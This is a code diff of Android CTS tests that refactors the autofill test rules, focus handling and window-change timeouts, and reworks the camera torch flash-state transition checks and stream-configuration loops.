--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -196,15 +196,15 @@ public final class AutoFillServiceTestCase {
@ClassRule
public static final MockImeSessionRule sMockImeSessionRule = new MockImeSessionRule();
+ protected static final RequiredFeatureRule sRequiredFeatureRule =
+ new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+
private final TestWatcher mTestWatcher = new AutofillTestWatcher();
private final RetryRule mRetryRule = new RetryRule(getNumberRetries());
private final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
- private final RequiredFeatureRule mRequiredFeatureRule =
- new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
-
protected final SafeCleanerRule mSafeCleanerRule = new SafeCleanerRule()
.setDumper(mLoggingRule)
.run(() -> sReplier.assertNoUnhandledFillRequests())
@@ -214,8 +214,8 @@ public final class AutoFillServiceTestCase {
@Rule
public final RuleChain mLookAllTheseRules = RuleChain
//
- // mRequiredFeatureRule should be first so the test can be skipped right away
- .outerRule(mRequiredFeatureRule)
+ // requiredFeatureRule should be first so the test can be skipped right away
+ .outerRule(getRequiredFeaturesRule())
//
// mTestWatcher should always be one the first rules, as it defines the name of the
// test being ran and finishes dangling activities at the end
@@ -288,6 +288,17 @@ public final class AutoFillServiceTestCase {
}
/**
+ * Gets a rule that defines which features must be present for this test to run.
+ *
+ * <p>By default it returns a rule that requires {@link PackageManager#FEATURE_AUTOFILL},
+ * but subclass can override to be more specific.
+ */
+ @NonNull
+ protected TestRule getRequiredFeaturesRule() {
+ return sRequiredFeatureRule;
+ }
+
+ /**
* Gets the test-specific {@link Rule @Rule}.
*
* <p>Sub-class <b>MUST</b> override this method instead of annotation their own rules,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index cabdee31609..4aa0858330f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -305,6 +305,9 @@ public class AutofillValueTest
// Autofill it.
mUiBot.selectDataset("dataset");
+ // TODO(b/137856201): Fix race condition in getSelectedItemPosition().
+ Thread.sleep(1000);
+
if (expectAutoFill) {
// Check the results.
spinnerWatcher.assertAutoFilled();
@@ -524,7 +527,7 @@ public class AutofillValueTest
@Test
public void autofillInvalidListValueToRadioGroup() throws Exception {
- autofillListValue(AutofillValue.forList(-1), 0, false);
+ autofillRadioGroup(AutofillValue.forList(-1), 0, false);
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 97cacc2d572..06c0e0088ba 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -896,7 +896,18 @@ public final class Helper {
@NonNull String serviceName) {
if (isAutofillServiceEnabled(serviceName)) return;
+ // Sets the setting synchronously. Note that the config itself is sets synchronously but
+ // launch of the service is asynchronous after the config is updated.
SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
+
+ // Waits until the service is actually enabled.
+ try {
+ Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
+ return isAutofillServiceEnabled(serviceName) ? serviceName : null;
+ });
+ } catch (Exception e) {
+ throw new AssertionError("Enabling Autofill service failed.");
+ }
}
/**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index 75b92ec6350..efd001f46d6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -232,9 +232,7 @@ public class LoginActivity extends AbstractAutoFillActivity {
syncRunOnUiThread(() -> v.visit(mUsernameEditText));
}
- /**
- * Clears focus from input fields by focusing on the parent layout.
- */
+ @Override
public void clearFocus() {
syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 2e56a02a259..bcc1bc0dd0c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -894,19 +894,24 @@ public final class UiBot {
* Execute a Runnable and wait for {@link AccessibilityEvent#TYPE_WINDOWS_CHANGED} or
* {@link AccessibilityEvent#TYPE_WINDOW_STATE_CHANGED}.
*/
- public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis)
- throws TimeoutException {
- return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
- switch (event.getEventType()) {
- case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
- case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
- return true;
- }
- return false;
- }, timeoutMillis);
+ public AccessibilityEvent waitForWindowChange(Runnable runnable, long timeoutMillis) {
+ try {
+ return mAutoman.executeAndWaitForEvent(runnable, (AccessibilityEvent event) -> {
+ switch (event.getEventType()) {
+ case AccessibilityEvent.TYPE_WINDOWS_CHANGED:
+ case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
+ return true;
+ default:
+ Log.v(TAG, "waitForWindowChange(): ignoring event " + event);
+ }
+ return false;
+ }, timeoutMillis);
+ } catch (TimeoutException e) {
+ throw new WindowChangeTimeoutException(e, timeoutMillis);
+ }
}
- public AccessibilityEvent waitForWindowChange(Runnable runnable) throws TimeoutException {
+ public AccessibilityEvent waitForWindowChange(Runnable runnable) {
return waitForWindowChange(runnable, Timeouts.WINDOW_CHANGE_TIMEOUT_MS);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 430a5339676..3253f294720 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -167,4 +167,9 @@ public class WebViewActivity extends AbstractWebViewActivity {
public UiObject2 getLoginButton() throws Exception {
return mLoginButton;
}
+
+ @Override
+ public void clearFocus() {
+ syncRunOnUiThread(() -> mParent.requestFocus());
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index ca68a4e99bd..3af85fbc5cc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -353,16 +353,19 @@ public class WebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity
Helper.assertTextIsSanitized(outside2FillNode);
// Move focus around to make sure UI is shown accordingly
+ mActivity.clearFocus();
mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
callback.assertUiHiddenEvent(myWebView, usernameChildId);
mUiBot.assertDatasets("OUT1");
callback.assertUiShownEvent(mActivity.mOutside1);
+ mActivity.clearFocus();
mActivity.getPasswordInput().click();
callback.assertUiHiddenEvent(mActivity.mOutside1);
mUiBot.assertDatasets("PASS");
final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+ mActivity.clearFocus();
mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
callback.assertUiHiddenEvent(myWebView, passwordChildId);
final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
index 353ec452e43..1225a476725 100644
--- a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/EmptyActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -13,21 +13,15 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+package android.autofillservice.cts;
-package android.app.role.cts.app;
+import androidx.annotation.NonNull;
-import android.app.Activity;
-import android.os.Bundle;
+import com.android.compatibility.common.util.RetryableException;
-/**
- * An empty activity that finishes immediately.
- */
-public class EmptyActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
+public final class WindowChangeTimeoutException extends RetryableException {
- finish();
+ public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
+ super(cause, "no window change event in %dms", timeoutMillis);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
index 88c92edccae..023a5cd32f0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
@@ -24,9 +24,13 @@ import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.Augment
import android.content.AutofillOptions;
import android.view.autofill.AutofillManager;
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
/////
///// NOTE: changes in this class should also be applied to
@@ -42,6 +46,13 @@ public abstract class AugmentedAutofillAutoActivityLaunchTestCase
private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
+ private static final RequiredSystemResourceRule sRequiredResource =
+ new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+ private static final RuleChain sRequiredFeatures = RuleChain
+ .outerRule(sRequiredFeatureRule)
+ .around(sRequiredResource);
+
@BeforeClass
public static void allowAugmentedAutofill() {
sContext.getApplicationContext()
@@ -83,6 +94,11 @@ public abstract class AugmentedAutofillAutoActivityLaunchTestCase
return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
}
+ @Override
+ protected TestRule getRequiredFeaturesRule() {
+ return sRequiredFeatures;
+ }
+
protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
if (mServiceWatcher != null) {
throw new IllegalStateException("There Can Be Only One!");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
index aa658772d30..32e6b88af46 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
@@ -23,9 +23,13 @@ import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.Augment
import android.content.AutofillOptions;
import android.view.autofill.AutofillManager;
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
/////
///// NOTE: changes in this class should also be applied to
@@ -41,6 +45,13 @@ public abstract class AugmentedAutofillManualActivityLaunchTestCase
private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
+ private static final RequiredSystemResourceRule sRequiredResource =
+ new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+ private static final RuleChain sRequiredFeatures = RuleChain
+ .outerRule(sRequiredFeatureRule)
+ .around(sRequiredResource);
+
@BeforeClass
public static void allowAugmentedAutofill() {
sContext.getApplicationContext()
@@ -78,6 +89,11 @@ public abstract class AugmentedAutofillManualActivityLaunchTestCase
return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
}
+ @Override
+ protected TestRule getRequiredFeaturesRule() {
+ return sRequiredFeatures;
+ }
+
protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
return enableAugmentedService(/* whitelistSelf= */ true);
}
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 68937032238..b9fc2560794 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -784,7 +784,10 @@ class StaticInfo {
break;
}
- ACameraMetadata_getConstEntry(mChars, streamConfigTag, &entry);
+ auto ret = ACameraMetadata_getConstEntry(mChars, streamConfigTag, &entry);
+ if (ret != ACAMERA_OK) {
+ return false;
+ }
for (uint32_t i = 0; i < entry.count; i += 4) {
if (entry.data.i32[i] == format &&
entry.data.i32[i+3] == streamConfigOutputTag &&
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index c8455686095..2a46cf79eb4 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,6 +86,9 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
private static final int NUM_FRAMES_WAITED_FOR_TORCH = 100;
+ private static final int NUM_PARTIAL_FRAMES_PFC = 2;
+ private static final int NUM_PARTIAL_FRAMES_NPFC = 6;
+
private static final int NUM_TEST_FOCUS_DISTANCES = 10;
private static final int NUM_FOCUS_DISTANCES_REPEAT = 3;
// 5 percent error margin for calibrated device
@@ -525,7 +528,6 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
flashTurnOffTest(listener,
/* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
/* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
-
flashTurnOffTest(listener,
/* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
/* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH);
@@ -1479,73 +1481,123 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
// Test that the flash actually turned on continuously.
mCollector.expectEquals("Flash state result must be FIRED", CaptureResult.FLASH_STATE_FIRED,
result.get(CaptureResult.FLASH_STATE));
-
+ mSession.stopRepeating();
// Turn off the torch
requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, flashOffAeControl);
// TODO: jchowdhary@, b/130323585, this line can be removed.
requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_OFF);
- CaptureRequest flashOffRequest = requestBuilder.build();
- int flashModeOffRequests = captureRequestsSynchronized(flashOffRequest, 2, listener,
- mHandler);
- // We check that the Nth frame's capture result has flash state as either PARTIAL / READY
- // and the N+1th frame has its flash state as READY (to take into account flash off ramp
- // time). For devices supporting per frame control, N is the 1st frame passed into
- // captureRequestsSynchronized. No two frames can have their flash state as PARTIAL.
- CaptureResult firstTorchOffResult = null;
- CaptureResult secondTorchOffResult = null;
- String torchOffDebugStr = "Timed out waiting for torch off result";
+ int numAllowedTransitionStates = NUM_PARTIAL_FRAMES_NPFC;
if (mStaticInfo.isPerFrameControlSupported()) {
- firstTorchOffResult =
- listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
- secondTorchOffResult =
- listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
+ numAllowedTransitionStates = NUM_PARTIAL_FRAMES_PFC;
- } else {
- CaptureResult maybeFirstNonFiredResult;
- int i = 0;
- while (i < flashModeOffRequests - 1) {
- maybeFirstNonFiredResult = listener.getCaptureResultForRequest(flashOffRequest,
- NUM_RESULTS_WAIT_TIMEOUT);
- i++;
- Integer flashState = maybeFirstNonFiredResult.get(CaptureResult.FLASH_STATE);
- torchOffDebugStr = "Flash not turned off in time";
- if (flashState != CaptureResult.FLASH_STATE_FIRED) {
- firstTorchOffResult = maybeFirstNonFiredResult;
- secondTorchOffResult = listener.getCaptureResultForRequest(flashOffRequest,
+ }
+ // We submit 2 * numAllowedTransitionStates + 1 requests since we have two torch mode
+ // transitions. The additional request is to check for at least 1 expected (FIRED / READY)
+ // state.
+ int numTorchTestSamples = 2 * numAllowedTransitionStates + 1;
+ CaptureRequest flashOffRequest = requestBuilder.build();
+ int flashModeOffRequests = captureRequestsSynchronizedBurst(flashOffRequest,
+ numTorchTestSamples, listener, mHandler);
+ // Turn it on again.
+ requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH);
+ // We need to have CONTROL_AE_MODE be either CONTROL_AE_MODE_ON or CONTROL_AE_MODE_OFF to
+ // turn the torch on again.
+ requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
+ CaptureRequest flashModeTorchRequest = requestBuilder.build();
+ int flashModeTorchRequests = captureRequestsSynchronizedBurst(flashModeTorchRequest,
+ numTorchTestSamples, listener, mHandler);
+
+ CaptureResult[] torchStateResults =
+ new CaptureResult[flashModeTorchRequests + flashModeOffRequests];
+ Arrays.fill(torchStateResults, null);
+ int i = 0;
+ for (; i < flashModeOffRequests; i++) {
+ torchStateResults[i] =
+ listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
+ mCollector.expectNotEquals("Result for flashModeOff request null",
+ torchStateResults[i], null);
+ }
+ for (int j = i; j < torchStateResults.length; j++) {
+ torchStateResults[j] =
+ listener.getCaptureResultForRequest(flashModeTorchRequest,
NUM_RESULTS_WAIT_TIMEOUT);
- torchOffDebugStr = "Timed out waiting for torch off result";
- break;
- }
- }
- // The next results should all have their flash state as READY
- for(int j = i + 1 ; j < flashModeOffRequests; j++) {
- CaptureResult expectedReadyResult =
- listener.getCaptureResultForRequest(flashOffRequest,
- NUM_RESULTS_WAIT_TIMEOUT);
- mCollector.expectEquals("Flash state must remain READY after torch is turned off",
- CaptureResult.FLASH_STATE_READY,
- expectedReadyResult.get(CaptureResult.FLASH_STATE));
- }
- }
- mCollector.expectNotEquals("first torch off result: " + torchOffDebugStr, null,
- firstTorchOffResult);
- mCollector.expectNotEquals("second torch off result: " + torchOffDebugStr, null,
- secondTorchOffResult);
- check2TorchOffStates(firstTorchOffResult, secondTorchOffResult);
- }
-
- private void check2TorchOffStates(CaptureResult first, CaptureResult second) {
- Integer flashState = first.get(CaptureResult.FLASH_STATE);
- // The first frame must have its flash state as FLASH_STATE_READY or
- // FLASH_STATE_PARTIAL.
- int [] validStates = new int[] { CaptureRequest.FLASH_STATE_READY,
- CaptureRequest.FLASH_STATE_PARTIAL};
- mCollector.expectContains("Flash state must be either PARTIAL or READY", validStates,
- flashState);
- // The next frame must have its flash state as FLASH_STATE_READY
- flashState = second.get(CaptureResult.FLASH_STATE);
- mCollector.expectEquals("Flash state result must be READY",
- CaptureResult.FLASH_STATE_READY, flashState);
+ mCollector.expectNotEquals("Result for flashModeTorch request null",
+ torchStateResults[j], null);
+ }
+ checkTorchStates(torchStateResults, numAllowedTransitionStates, flashModeOffRequests,
+ flashModeTorchRequests);
+ }
+
+ // We check that torch states appear in the order expected. We don't necessarily know how many
+ // times each state might appear, however we make sure that the states do not appear out of
+ // order.
+ private void checkTorchTransitionStates(CaptureResult []torchStateResults, int beg, int end,
+ List<Integer> stateOrder, boolean isTurningOff) {
+ Integer flashState;
+ Integer curIndex = 0;
+ for (int i = beg; i <= end; i++) {
+ flashState = torchStateResults[i].get(CaptureResult.FLASH_STATE);
+ int index = stateOrder.indexOf(flashState);
+ mCollector.expectNotEquals("Invalid state " + flashState + " not in expected list" +
+ stateOrder, index, -1);
+ mCollector.expectGreaterOrEqual("state " + flashState + " index " + index +
+ " is expected to be >= " + curIndex,
+ curIndex, index);
+ curIndex = index;
+ }
+ }
+
+ private void checkTorchStates(CaptureResult []torchResults, int numAllowedTransitionStates,
+ int numTorchOffSamples, int numTorchOnSamples) {
+ // We test for flash states from request:
+ // Request: O(0) O(1) O(2) O(n)....O(nOFF) T(0) T(1) T(2) ....T(n) .... T(nON)
+ // Valid Result : P/R P/R P/R R R R...P/R P/R P/F P/F P/F F F
+ // For the FLASH_STATE_OFF requests, once FLASH_STATE READY has been seen, for the
+ // transition states while switching the torch off, it must not transition to
+ // FLASH_STATE_PARTIAL again till the next transition period which turns the torch on.
+ // P - FLASH_STATE_PARTIAL
+ // R - FLASH_STATE_READY
+ // F - FLASH_STATE_FIRED
+ // O(k) - kth FLASH_MODE_OFF request
+ // T(k) - kth FLASH_MODE_TORCH request
+ // nOFF - number of torch off samples
+ // nON - number of torch on samples
+ Integer flashState;
+ // Check on -> off transition states
+ List<Integer> onToOffStateOrderList = new ArrayList<Integer>();
+ onToOffStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+ onToOffStateOrderList.add(CaptureRequest.FLASH_STATE_READY);
+ checkTorchTransitionStates(torchResults, 0, numAllowedTransitionStates,
+ onToOffStateOrderList, true);
+ // The next frames (before transition) must have its flash state as FLASH_STATE_READY
+ for (int i = numAllowedTransitionStates + 1;
+ i < numTorchOffSamples - numAllowedTransitionStates; i++) {
+ flashState = torchResults[numAllowedTransitionStates].get(CaptureResult.FLASH_STATE);
+ mCollector.expectEquals("flash state result must be READY",
+ CaptureResult.FLASH_STATE_READY, flashState);
+ }
+ // check off -> on transition states, before the FLASH_MODE_TORCH request was sent
+ List<Integer> offToOnPreStateOrderList = new ArrayList<Integer>();
+ offToOnPreStateOrderList.add(CaptureRequest.FLASH_STATE_READY);
+ offToOnPreStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+ checkTorchTransitionStates(torchResults,
+ numTorchOffSamples - numAllowedTransitionStates, numTorchOffSamples - 1,
+ offToOnPreStateOrderList, false);
+ // check off -> on transition states
+ List<Integer> offToOnPostStateOrderList = new ArrayList<Integer>();
+ offToOnPostStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+ offToOnPostStateOrderList.add(CaptureRequest.FLASH_STATE_FIRED);
+ checkTorchTransitionStates(torchResults,
+ numTorchOffSamples, numTorchOffSamples + numAllowedTransitionStates,
+ offToOnPostStateOrderList, false);
+ // check on states after off -> on transition
+ // The next frames must have its flash state as FLASH_STATE_FIRED
+ for (int i = numTorchOffSamples + numAllowedTransitionStates + 1;
+ i < torchResults.length - 1; i++) {
+ flashState = torchResults[i].get(CaptureResult.FLASH_STATE);
+ mCollector.expectEquals("flash state result must be FIRED for frame " + i,
+ CaptureRequest.FLASH_STATE_FIRED, flashState);
+ }
}
/**
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 55b9d24ad90..75e0fcadd18 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -146,13 +146,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Test that the available stream configurations contain a few required formats and sizes.
*/
public void testAvailableStreamConfigs() throws Exception {
- int counter = 0;
- for (String id : mAllCameraIds) {
- CameraCharacteristics c = mAllStaticInfo.get(id).getCharacteristics();
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
StreamConfigurationMap config =
c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
assertNotNull(String.format("No stream configuration map found for: ID %s",
- mAllCameraIds[counter]), config);
+ mAllCameraIds[i]), config);
int[] outputFormats = config.getOutputFormats();
int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
@@ -161,26 +160,26 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// Check required formats exist (JPEG, and YUV_420_888).
if (!arrayContains(actualCapabilities, BC)) {
- Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+ Log.i(TAG, "Camera " + mAllCameraIds[i] +
": BACKWARD_COMPATIBLE capability not supported, skipping test");
continue;
}
boolean isMonochromeWithY8 = arrayContains(actualCapabilities, MONOCHROME)
&& arrayContains(outputFormats, ImageFormat.Y8);
- boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, id);
+ boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, mAllCameraIds[i]);
boolean supportHeic = arrayContains(outputFormats, ImageFormat.HEIC);
assertArrayContains(
String.format("No valid YUV_420_888 preview formats found for: ID %s",
- mAllCameraIds[counter]), outputFormats, ImageFormat.YUV_420_888);
+ mAllCameraIds[i]), outputFormats, ImageFormat.YUV_420_888);
if (isMonochromeWithY8) {
assertArrayContains(
String.format("No valid Y8 preview formats found for: ID %s",
- mAllCameraIds[counter]), outputFormats, ImageFormat.Y8);
+ mAllCameraIds[i]), outputFormats, ImageFormat.Y8);
}
assertArrayContains(String.format("No JPEG image format for: ID %s",
- mAllCameraIds[counter]), outputFormats, ImageFormat.JPEG);
+ mAllCameraIds[i]), outputFormats, ImageFormat.JPEG);
Size[] yuvSizes = config.getOutputSizes(ImageFormat.YUV_420_888);
Size[] y8Sizes = config.getOutputSizes(ImageFormat.Y8);
@@ -190,11 +189,11 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
CameraTestUtils.assertArrayNotEmpty(yuvSizes,
String.format("No sizes for preview format %x for: ID %s",
- ImageFormat.YUV_420_888, mAllCameraIds[counter]));
+ ImageFormat.YUV_420_888, mAllCameraIds[i]));
if (isMonochromeWithY8) {
CameraTestUtils.assertArrayNotEmpty(y8Sizes,
String.format("No sizes for preview format %x for: ID %s",
- ImageFormat.Y8, mAllCameraIds[counter]));
+ ImageFormat.Y8, mAllCameraIds[i]));
}
Rect activeRect = CameraTestUtils.getValueNotNull(
@@ -206,7 +205,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
int activeArrayWidth = activeRect.width();
long sensorResolution = pixelArraySize.getHeight() * pixelArraySize.getWidth() ;
Integer lensFacing = c.get(CameraCharacteristics.LENS_FACING);
- assertNotNull("Can't get lens facing info for camera id: " + mAllCameraIds[counter], lensFacing);
+ assertNotNull("Can't get lens facing info for camera id: " + mAllCameraIds[i],
+ lensFacing);
// Check that the sensor sizes are atleast what the CDD specifies
switch(lensFacing) {
@@ -231,12 +231,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
activeArrayHeight >= FULLHD.getHeight()) {
assertArrayContainsAnyOf(String.format(
"Required FULLHD size not found for format %x for: ID %s",
- ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes,
+ ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes,
new Size[] {FULLHD, FULLHD_ALT});
if (supportHeic) {
assertArrayContainsAnyOf(String.format(
"Required FULLHD size not found for format %x for: ID %s",
- ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes,
+ ImageFormat.HEIC, mAllCameraIds[i]), heicSizes,
new Size[] {FULLHD, FULLHD_ALT});
}
}
@@ -245,11 +245,11 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
activeArrayHeight >= HD.getHeight()) {
assertArrayContains(String.format(
"Required HD size not found for format %x for: ID %s",
- ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, HD);
+ ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, HD);
if (supportHeic) {
assertArrayContains(String.format(
"Required HD size not found for format %x for: ID %s",
- ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, HD);
+ ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, HD);
}
}
@@ -257,11 +257,11 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
activeArrayHeight >= VGA.getHeight()) {
assertArrayContains(String.format(
"Required VGA size not found for format %x for: ID %s",
- ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, VGA);
+ ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, VGA);
if (supportHeic) {
assertArrayContains(String.format(
"Required VGA size not found for format %x for: ID %s",
- ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, VGA);
+ ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, VGA);
}
}
@@ -269,11 +269,11 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
activeArrayHeight >= QVGA.getHeight()) {
assertArrayContains(String.format(
"Required QVGA size not found for format %x for: ID %s",
- ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, QVGA);
+ ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, QVGA);
if (supportHeic) {
assertArrayContains(String.format(
"Required QVGA size not found for format %x for: ID %s",
- ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, QVGA);
+ ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, QVGA);
}
}
@@ -289,7 +289,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// For hidden physical camera, since we don't require CamcorderProfile to be
// available, use FULLHD 30 as maximum video size as well.
List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(
- mAllCameraIds[counter], mCameraManager, FULLHD);
+ mAllCameraIds[i], mCameraManager, FULLHD);
